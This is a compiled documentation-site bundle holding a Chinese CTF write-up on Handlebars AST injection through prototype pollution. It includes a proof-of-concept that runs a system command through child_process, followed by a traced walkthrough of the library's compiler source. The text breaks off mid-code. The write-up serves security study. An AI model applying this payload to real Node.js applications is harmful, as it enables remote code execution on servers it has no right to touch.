1"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2049],{12685:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png"},28453:(e,n,t)=>{t.d(n,{R:()=>o,x:()=>i});var r=t(96540);const s={},a=r.createContext(s);function o(e){const n=r.useContext(a);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:o(e.components),r.createElement(a.Provider,{value:n},e.children)}},44449:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/image-20251014205208357-b81b6911530bbd8dbf25892fa0f0a8bf.png"},54792:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png"},99801:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>l,contentTitle:()=>i,default:()=>p,frontMatter:()=>o,metadata:()=>r,toc:()=>c});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","title":"Handlebars-AST\u6ce8\u5165","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/05.Handlebars-AST\u6ce8\u5165.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/05.Handlebars-AST\u6ce8\u5165.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397"},"next":{"title":"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/"}}');var s=t(74848),a=t(28453);const o={},i="Handlebars AST\u6ce8\u5165 \u914d\u5408\u539f\u578b\u94fe\u6c61\u67d3",l={},c=[{value:"\u539f\u7406\u56fe",id:"\u539f\u7406\u56fe",level:2},{value:"Payload",id:"payload",level:2},{value:"\u6f0f\u6d1e\u5206\u6790",id:"\u6f0f\u6d1e\u5206\u6790",level:2},{value:"\u8c03\u7528\u6808",id:"\u8c03\u7528\u6808",level:3},{value:"\u89e3\u6790\u5165\u53e3",id:"\u89e3\u6790\u5165\u53e3",level:3},{value:"\u89e3\u6790AST",id:"\u89e3\u6790ast",level:3},{value:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",id:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",level:3},{value:"\u7f16\u8bd1\u6a21\u677f",id:"\u7f16\u8bd1\u6a21\u677f",level:3},{value:"\u751f\u6210\u6a21\u677f",id:"\u751f\u6210\u6a21\u677f",level:3},{value:"\u6a21\u677f\u51fd\u6570\u6267\u884c",id:"\u6a21\u677f\u51fd\u6570\u6267\u884c",level:3},{value:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",id:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u62d3\u5c55",id:"\u62d3\u5c55",level:2},{value:"BooleanLiteral",id:"booleanliteral",level:3},{value:"PartialStatement",id:"partialstatement",level:3},{value:"PartialBlockStatement",id:"partialblockstatement",level:3},{value:"BlockStatement",id:"blockstatement",level:3},{value:"Decorator",id:"decorator",level:3},{value:"inf Hash",id:"inf-hash",level:3},{value:"\u4f8b\u9898",id:"\u4f8b\u9898",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 20:53:34"})]})})]}),"\n",(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"handlebars-ast\u6ce8\u5165-\u914d\u5408\u539f\u578b\u94fe\u6c61\u67d3",children:"Handlebars AST\u6ce8\u5165 \u9
114d\u5408\u539f\u578b\u94fe\u6c61\u67d3"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u8be6\u7ec6\u5206\u6790Handlebars AST\u6ce8\u5165"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u539f\u7406\u56fe",children:"\u539f\u7406\u56fe"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.a,{href:"https://raw.githubusercontent.com/Tyaoo/PicBed/master/img/PicGo-Github-PicBed/20210925163678af9e286637ed6de903.png",children:(0,s.jsx)(n.img,{alt:"image-20210925022250921",src:t(12685).A+"",width:"871",height:"412"})})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"handlebars"}),"\u7684",(0,s.jsx)(n.code,{children:"parser"}),"\u5728\u89e3\u6790",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u7c7b\u578b\u7684\u5b57\u7b26\u4e32\u65f6\u4f1a\u4f7f\u7528",(0,s.jsx)(n.code,{children:"Number()"}),"\u51fd\u6570\u8fdb\u884c\u5f3a\u5236\u8f6c\u6362\uff0c\u6b63\u5e38\u60c5\u51b5\u4e0b\u8fd9\u4e2a\u5b57\u7b26\u4e32\u53ea\u80fd\u6570\u5b57\uff0c\u4f46\u662f\u7528\u8fc7\u539f\u578b\u94fe\u6c61\u67d3\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u975e\u6570\u5b57\u578b\u7684\u5b57\u7b26\u4e32"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\parser.js\n\ncase 35:\n this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };\n break;\ncase 36:\n this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };\n break;\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u5c06AST\u7f16\u8bd1\u4e3a\u51fd\u6570\u65f6\uff0c",(0,s.jsx)(n.code,{children:"handlebars"}),"\u7528",(0,s.jsx)(n.code,{children:"pushString"}),"\u5c06\u5b57\u7b26\u4e32\u4f20\u5230",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d\uff0c\u7528",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u5c06\u6570\u5b57\u548c\u5e03\u5c14\u503c\u4f20\u5165\u5230",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d\uff0c\u800c\u8fd9\u4e2a",(0,s.jsx)(n.code,{children:"opcode"}),"\u5c31\u662f\u4e4b\u540e\u7528\u6765\u6784\u9020\u6a21\u677f\u51fd\u6570\u7684\uff0c",(0,s.jsx)(n.code,{children:"Literal"}),"\u7c7b\u578b\u5728AST\u4e2d\u8868\u793a\u53d8\u91cf\u7684\u610f\u601d\uff0c\u5177\u4f53\u53ef\u4ee5\u53c2\u8003",(0,s.jsx)(n.a,{href:"https://docs.esprima.org/en/latest/syntax-tree-format.html",children:"Esprima\u8bed\u6cd5\u6811\u6807\u51c6"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u4e0b\u9762\u6211\u4eec\u80fd\u591f\u5229\u7528\u7684\u7c7b\u578b\u6709",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u548c",(0,s.jsx)(n.code,{children:"BooleanLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n StringLiteral: function StringLiteral(string) {\n this.opcode('pushString', string.value); // \u5b57\u7b26\u4e32\u4f7f\u7528pushString\n },\n\n NumberLiteral: function NumberLiteral(number) { \n this.opcode('pushLiteral', number.value); // \u6570\u5b57\u4f7f\u7528pushLiteral\n },\n\n BooleanLiteral: function BooleanLiteral(bool) {\n this.opcode('pushLiteral', bool.value); // \u5e03\u5c14\u503c\u4f7f\u7528pushLiteral\n },\n\n UndefinedLiteral: function UndefinedLiteral() {\n this.opcode('pushLiteral', 'undefined');\n },\n\n opcode: function opcode(name) {\n this.opcodes.push({\n opcode: name,\n args: slice.call(arguments, 1),\n loc: this.sourceNode[0].loc\n });\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u90a3\u4e48\u6211\u4eec\u5982\u4f55\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\u5462\uff0c",(0,s.jsx)(n.code,{children:"handlebars"}),"\u5728\u7f16\u8bd1\u8bed\u6cd5\u6811\u65f6\u4f1a\u8c03\u7528\u4e00\u4e2a\u53eb",(0,s.jsx)(n.code,{children:"accept"}),"\u7684\u51fd\u6570\u6765\u5904\u7406\u6211\u4eec\u7684\u8bed\u6cd5\u6811\u8282\u70b9\uff0c\u4ed6\u4f1a\u8c03\u7528",(0,s.jsx)(n.code,{children:"node.type"}),"\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\u6765\u4fee\u6539",(0,s.jsx)(n.code,{children:"opcode"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u91cd\u70b9\u4e5f\u53ef\u4ee5\u8f6c\u6362\u6210\u5982\u4f55\u63a7\u5236",(0,s.jsx)(n.code,{children:"accept(node)"}),"\u4e2d",(0,s.jsx)(n.code,{children:"node"}),"\u503c\uff0c\u4e14\u4fdd\u8bc1\u89e3\u6790\u6d41\u7a0b\u6b63\u5e38\u8fdb\u884c"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n \n accept: function accept(node) {\n /* istanbul ignore next: Sanity code */\n if (!this[node.type]) {\n throw new _exception2['default']('Unknown type: ' + node.type, node);\n }\n\n this.sourceNode.unshift(node);\n var ret = this[node.type](node); // \u8c03\u7528node.type\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\n this.sourceNode.shift();\n return ret;\n },\n"})}),"\n",(0,s.jsx)(n.h2,{id:"payload",children:"Payload"}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u539f\u6587\u4f5c\u8005\u91c7\u7528\u7684payload"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'Copy successfullyconst Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "path": 0,\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "loc": {\n "start": 0\n }\n}];\n\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5927\u6982\u6d41\u7a0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5c06",(0,s.jsx)(n.code,{children:"type"}),"\u4fee\u6539\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\u7ed5\u8fc7",(0,s.jsx)(n.code,{children:"Lexer"}),"\u89e3\u6790"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6c61\u67d3",(0,s.jsx)(n.code,{children:"Program"}),"\u4e2d\u7684",(0,s.jsx)(n.code,{children:"body"}),"\uff0c\u6ce8\u5165\u81ea\u5b9a\u4e49\u7684",(0,s.jsx)(n.code,{children:"AST"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u5728",(0,s.jsx)(n.code,{children:"compiler.js"}),"\u6587\u4ef6\u4e2d\u627e\u5230\u53ef\u7528",(0,s.jsx)(n.code,{children:"Gadget"}),"\uff0c\u6b64",(0,s.jsx)(n.code,{children:"Gadget"}),"\u80fd\u591f\u63a7\u5236",(0,s.jsx)(n.code,{children:"accept(node)"}),"\u4e2d",(0,s.jsx)(n.code,{children:"node"}),"\u503c\uff0c\u539f\u6587\u4f5c\u8005\u5229\u7528\u7684\u662f",(0,s.jsx)(n.code,{children:"MustacheStatement"})]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u5206\u6790",children:"\u6f0f\u6d1e\u5206\u6790"}),"\n",(0,s.jsx)(n.h3,{id:"\u8c03\u7528\u6808",children:"\u8c03\u7528\u6808"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"compiler.js/ret()\n compiler.js/compileInput()\n base.js/parse()\n base.js/parseWithoutProcessing()\n visitor.js/accept()\n compiler.js/compile()\n compiler.js/accept()\n compiler.js/Program()\n compiler.js/MustacheStatement
1()\n compiler.js/NumberLiteral() <-- \u6ce8\u5165payload\n javascript-compiler.js/compile()\n javascript-compiler.js/createFunctionContext <-- \u751f\u6210\u6a21\u677f\u51fd\u6570\u4f53\n handlebars.runtime.js/create()\n runtime.js/ret()\n runtime.js/executeDecorators()\n anonymous/templateSpec.main()\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u89e3\u6790\u5165\u53e3",children:"\u89e3\u6790\u5165\u53e3"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function ret(context, execOptions) {\n if (!compiled) {\n compiled = compileInput(); // \u7f16\u8bd1\u8f93\u5165\n }\n return compiled.call(this, context, execOptions);\n }\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u89e3\u6790ast",children:"\u89e3\u6790AST"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), // \u83b7\u53d6\u8bed\u6cd5\u6811\n environment = new env.Compiler().compile(ast, options), \n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);\n return env.template(templateSpec);\n }\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8bed\u6cd5\u6811\u89e3\u6790"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\base.js\n\nfunction parse(input, options) {\n var ast = parseWithoutProcessing(input, options); // \u8f6c\u5316\u4e3aAST\n var strip = new _whitespaceControl2['default'](options);\n\n return strip.accept(ast); // \u89e3\u6790AST\n}\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u7684\u91cd\u70b9\u662f\u5c06",(0,s.jsx)(n.code,{children:"input.type"}),"\u6c61\u67d3\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\uff0c\u4ece\u800c\u7ed5\u8fc7AST\u7684\u8f6c\u6362\u9636\u6bb5"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\base.js\n\nfunction parseWithoutProcessing(input, options) {\n // Just return if an already-compiled AST was passed in.\n if (input.type === 'Program') { // \u5982\u679c\u5df2\u7ecf\u662f\u8f6c\u6362\u597d\u7684AST\u5c31\u76f4\u63a5\u8fd4\u56de\n return input;\n }\n\n _parser2['default'].yy = yy;\n\n // Altering the shared object here, but this is ok as parser is a sync operation\n yy.locInfo = function (locInfo) {\n return new yy.SourceLocation(options && options.srcName, locInfo);\n };\n\n var ast = _parser2['default'].parse(input); // \u5426\u5219\u5c31\u8c03\u7528Lexer\u89e3\u6790\u8282\u70b9\u751f\u6210AST\n\n return ast;\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u662f\u9012\u5f52\u89e3\u6790\u8bed\u6cd5\u6811"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\visitor.js\n\n accept: function accept(object) {\n if (!object) {\n return;\n }\n\n /* istanbul ignore next: Sanity code */\n if (!this[object.type]) {\n throw new _exception2['default']('Unknown type: ' + object.type, object);\n }\n\n if (this.current) {\n this.parents.unshift(this.current);\n }\n this.current = object;\n\n var ret = this[object.type](object); // \u8c03\u7528\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\u89e3\u6790AST\n\n this.current = this.parents.shift();\n\n if (!this.mutating || ret) {\n return ret;\n } else if (ret !== false) {\n return object;\n }\n },\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",children:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options), // \u7f16\u8bd1\u73af\u5883\u53d8\u91cf\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);\n return env.template(templateSpec);\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n compile: function compile(program, options) {\n this.sourceNode = [];\n this.opcodes = [];\n this.children = [];\n this.options = options;\n this.stringParams = options.stringParams;\n this.trackIds = options.trackIds;\n\n options.blockParams = options.blockParams || [];\n\n options.knownHelpers = _utils.extend(Object.create(null), {\n helperMissing: true,\n blockHelperMissing: true,\n each: true,\n 'if': true,\n unless: true,\n 'with': true,\n log: true,\n lookup: true\n }, options.knownHelpers);\n\n return this.accept(program); // \u4f20\u5165accept\u51fd\u6570\u8fdb\u884c\u5904\u7406\n }
1,\n \n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n accept: function accept(node) {\n /* istanbul ignore next: Sanity code */\n if (!this[node.type]) {\n throw new _exception2['default']('Unknown type: ' + node.type, node);\n }\n\n this.sourceNode.unshift(node);\n var ret = this[node.type](node); // \u63d0\u53d6AST\u5bf9\u5e94\u7684type\u5e76\u8c03\u7528\u8be5\u6784\u9020\u51fd\u6570\n this.sourceNode.shift();\n return ret;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e00\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u88ab\u6c61\u67d3\u4e3a",(0,s.jsx)(n.code,{children:"program"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n Program: function Program(program) { // \u5229\u7528Program\u7c7b\u6765\u81ea\u5b9a\u4e49\u7c7b\n this.options.blockParams.unshift(program.blockParams);\n\n var body = program.body, // \u901a\u8fc7\u6c61\u67d3body\u63d2\u5165\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\n bodyLength = body.length;\n for (var i = 0; i < bodyLength; i++) {\n this.accept(body[i]); // \u63d0\u53d6\u6211\u4eec\u7684body\u7ee7\u7eed\u8c03\u7528accept\u8fdb\u884c\u89e3\u6790\n }\n\n this.options.blockParams.shift();\n\n this.isSimple = bodyLength === 1;\n this.blockParams = program.blockParams ? program.blockParams.length : 0;\n\n return this;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e8c\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u4e3a\u81ea\u5b9a\u4e49\u7684",(0,s.jsx)(n.code,{children:"MustacheStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n MustacheStatement: function MustacheStatement(mustache) {\n this.SubExpression(mustache); // 1\n\n if (mustache.escaped && !this.options.noEscape) {\n this.opcode('appendEscaped');\n } else {\n this.opcode('append'); // \u5982\u679c\u6ca1\u6709\u8bbe\u7f6eescaped\u7684\u8bdd\u5c31\u8fdb\u884cappend\u64cd\u4f5c\n }\n },\n \n SubExpression: function SubExpression(sexpr) {\n transformLiteralToPath(sexpr);\n var type = this.classifySexpr(sexpr);\n\n if (type === 'simple') {\n this.simpleSexpr(sexpr);\n } else if (type === 'helper') {\n this.helperSexpr(sexpr); // 2\n } else {\n this.ambiguousSexpr(sexpr);\n }\n },\n \n helperSexpr: function helperSexpr(sexpr, program, inverse) {\n var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3\n path = sexpr.path,\n name = path.parts[0];\n\n if (this.options.knownHelpers[name]) {\n this.opcode('invokeKnownHelper', params.length, name);\n } else if (this.options.knownHelpersOnly) {\n throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);\n } else {\n path.strict = true;\n path.falsy = true;\n\n this.accept(path);\n this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));\n }\n },\n \n setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {\n var params = sexpr.params;\n this.pushParams(params); // 4\n\n this.opcode('pushProgram', program);\n this.opcode('pushProgram', inverse);\n\n if (sexpr.hash) {\n this.accept(sexpr.hash);\n } else {\n this.opcode('emptyHash', omitEmpty);\n }\n\n return params;\n },\n \n pushParams: function pushParams(params) {\n for (var i = 0, l = params.length; i < l; i++) {\n this.pushParam(params[i]); // 5\n }\n },\n \n pushParam: function pushParam(val) {\n var value = val.value != null ? val.value : val.original || '';\n\n if (this.stringParams) {\n if (value.replace) {\n value = value.replace(/^(\\.?\\.\\/)*/g, '').replace(/\\//g, '.');\n }\n\n if (val.depth) {\n this.addDepth(val.depth);\n }\n this.opcode('getContext', val.depth || 0);\n this.opcode('pushStringParam', value, val.type);\n\n if (val.type === 'SubExpression') {\n // SubExpressions get evaluated and passed in\n // in string params mode.\n this.accept(val);\n }\n } else {\n if (this.trackIds) {\n var blockParamIndex = undefined;\n if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {\n blockParamIndex = this.blockParamIndex(val.parts[0]);\n }\n if (blockParamIndex) {\n var blockParamChild = val.parts.slice(1).join('.');\n this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);\n } else {\n value = val.original || value;\n if (value.replace) {\n value = value.replace(/^this(?:\\.|$)/, '').replace(/^\\.\\//, '').replace(/^\\.$/, '');\n }\n\n this.opcode('pushId', val.type, value);\n }\n }\n this.accept(val); // 6 \u5f88\u5de7\u5999\u5730\u5c06\u6211\u4eec\u7684payload\u518d\u6b21\u4f20\u5165accept\u51fd\u6570\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e09\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u4e3a",(0,s.jsx)(n.code,{children:"NumberLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n StringLiteral
1: function StringLiteral(string) {\n this.opcode('pushString', string.value);\n },\n\n NumberLiteral: function NumberLiteral(number) { \n this.opcode('pushLiteral', number.value); // \u5c06\u6211\u4eec\u7684payload\u8bc6\u522b\u4e3aLiteral\u800c\u76f4\u63a5\u8f6c\u8fdb\u6784\u9020\u51fd\u6570\n },\n\n BooleanLiteral: function BooleanLiteral(bool) {\n this.opcode('pushLiteral', bool.value); \n },\n\n UndefinedLiteral: function UndefinedLiteral() {\n this.opcode('pushLiteral', 'undefined');\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u540e\u9762\u8fd8\u6709\u4e00\u7cfb\u5217\u5bf9",(0,s.jsx)(n.code,{children:"opcode"}),"\u7684\u64cd\u4f5c\uff0c\u5747\u4e3a",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u8bed\u6cd5\u6811\u7684\u7f16\u8bd1\u8fc7\u7a0b\uff0c\u4e0b\u56fe\u662f\u7f16\u8bd1\u597d",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u8bed\u6cd5\u6811\u4e4b\u540e",(0,s.jsx)(n.code,{children:"opcodes"}),"\u7684\u5168\u90e8\u64cd\u4f5c\uff0c\u800c\u6211\u4eec\u7684payload\u5c31\u88ab\u6ce8\u5165\u4e86\u7b2c\u4e00\u4e2a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.a,{href:"https://raw.githubusercontent.com/Tyaoo/PicBed/master/img/PicGo-Github-PicBed/2021092516367021e78643cf9a68f7c7.png",children:(0,s.jsx)(n.img,{alt:"image-20210925113821867",src:t(54792).A+"",width:"657",height:"553"})})}),"\n",(0,s.jsx)(n.h3,{id:"\u7f16\u8bd1\u6a21\u677f",children:"\u7f16\u8bd1\u6a21\u677f"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options),\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // \u5c06\u6211\u4eec\u7684\u73af\u5883\u53d8\u91cf\u4f20\u8fdb\u53bb\u6765\u7f16\u8bd1templateSpec\n return env.template(templateSpec);\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n compile: function compile(environment, options, context, asObject) {\n this.environment = environment;\n this.options = options;\n this.stringParams = this.options.stringParams;\n this.trackIds = this.options.trackIds;\n this.precompile = !asObject;\n\n this.name = this.environment.name;\n this.isChild = !!context;\n this.context = context || {\n decorators: [],\n programs: [],\n environments: []\n };\n\n this.preamble();\n\n this.stackSlot = 0;\n this.stackVars = [];\n this.aliases = {};\n this.registers = { list: [] };\n this.hashes = [];\n this.compileStack = [];\n this.inlineStack = [];\n this.blockParams = [];\n\n this.compileChildren(environment, options);\n\n this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;\n this.useBlockParams = this.useBlockParams || environment.useBlockParams;\n\n var opcodes = environment.opcodes,\n opcode = undefined,\n firstLoc = undefined,\n i = undefined,\n l = undefined;\n\n for (i = 0, l = opcodes.length; i < l; i++) {\n opcode = opcodes[i];\n\n this.source.currentLocation = opcode.loc;\n firstLoc = firstLoc || opcode.loc;\n this[opcode.opcode].apply(this, opcode.args); // \u8fd9\u91cc\u5c31\u662f\u4f7f\u7528\u6211\u4eecopcode\u7684\u64cd\u4f5c\uff0c\u7136\u540e\u4f1a\u628a\u7ed3\u679c\u5b58\u5230this.source.SourceNode\u4e2d\n }\n\n // Flush any trailing content that might be pending.\n this.source.currentLocation = firstLoc;\n this.pushSource('');\n\n /* istanbul ignore next */\n if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {\n throw new _exception2['default']('Compile completed with content left on stack');\n }\n\n if (!this.decorators.isEmpty()) {\n this.useDecorators = true;\n\n this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\\n']);\n this.decorators.push('return fn;');\n\n if (asObject) {\n this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);\n } else {\n this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\\n');\n this.decorators.push('}\\n');\n this.decorators = this.decorators.merge();\n }\n } else {\n this.decorators = undefined;\n }\n\n var fn = this.createFunctionContext(asObject); // \u521b\u5efa\u6a21\u677f\u7684\u51fd\u6570\u4f53\n if (!this.isChild) {\n var ret = {\
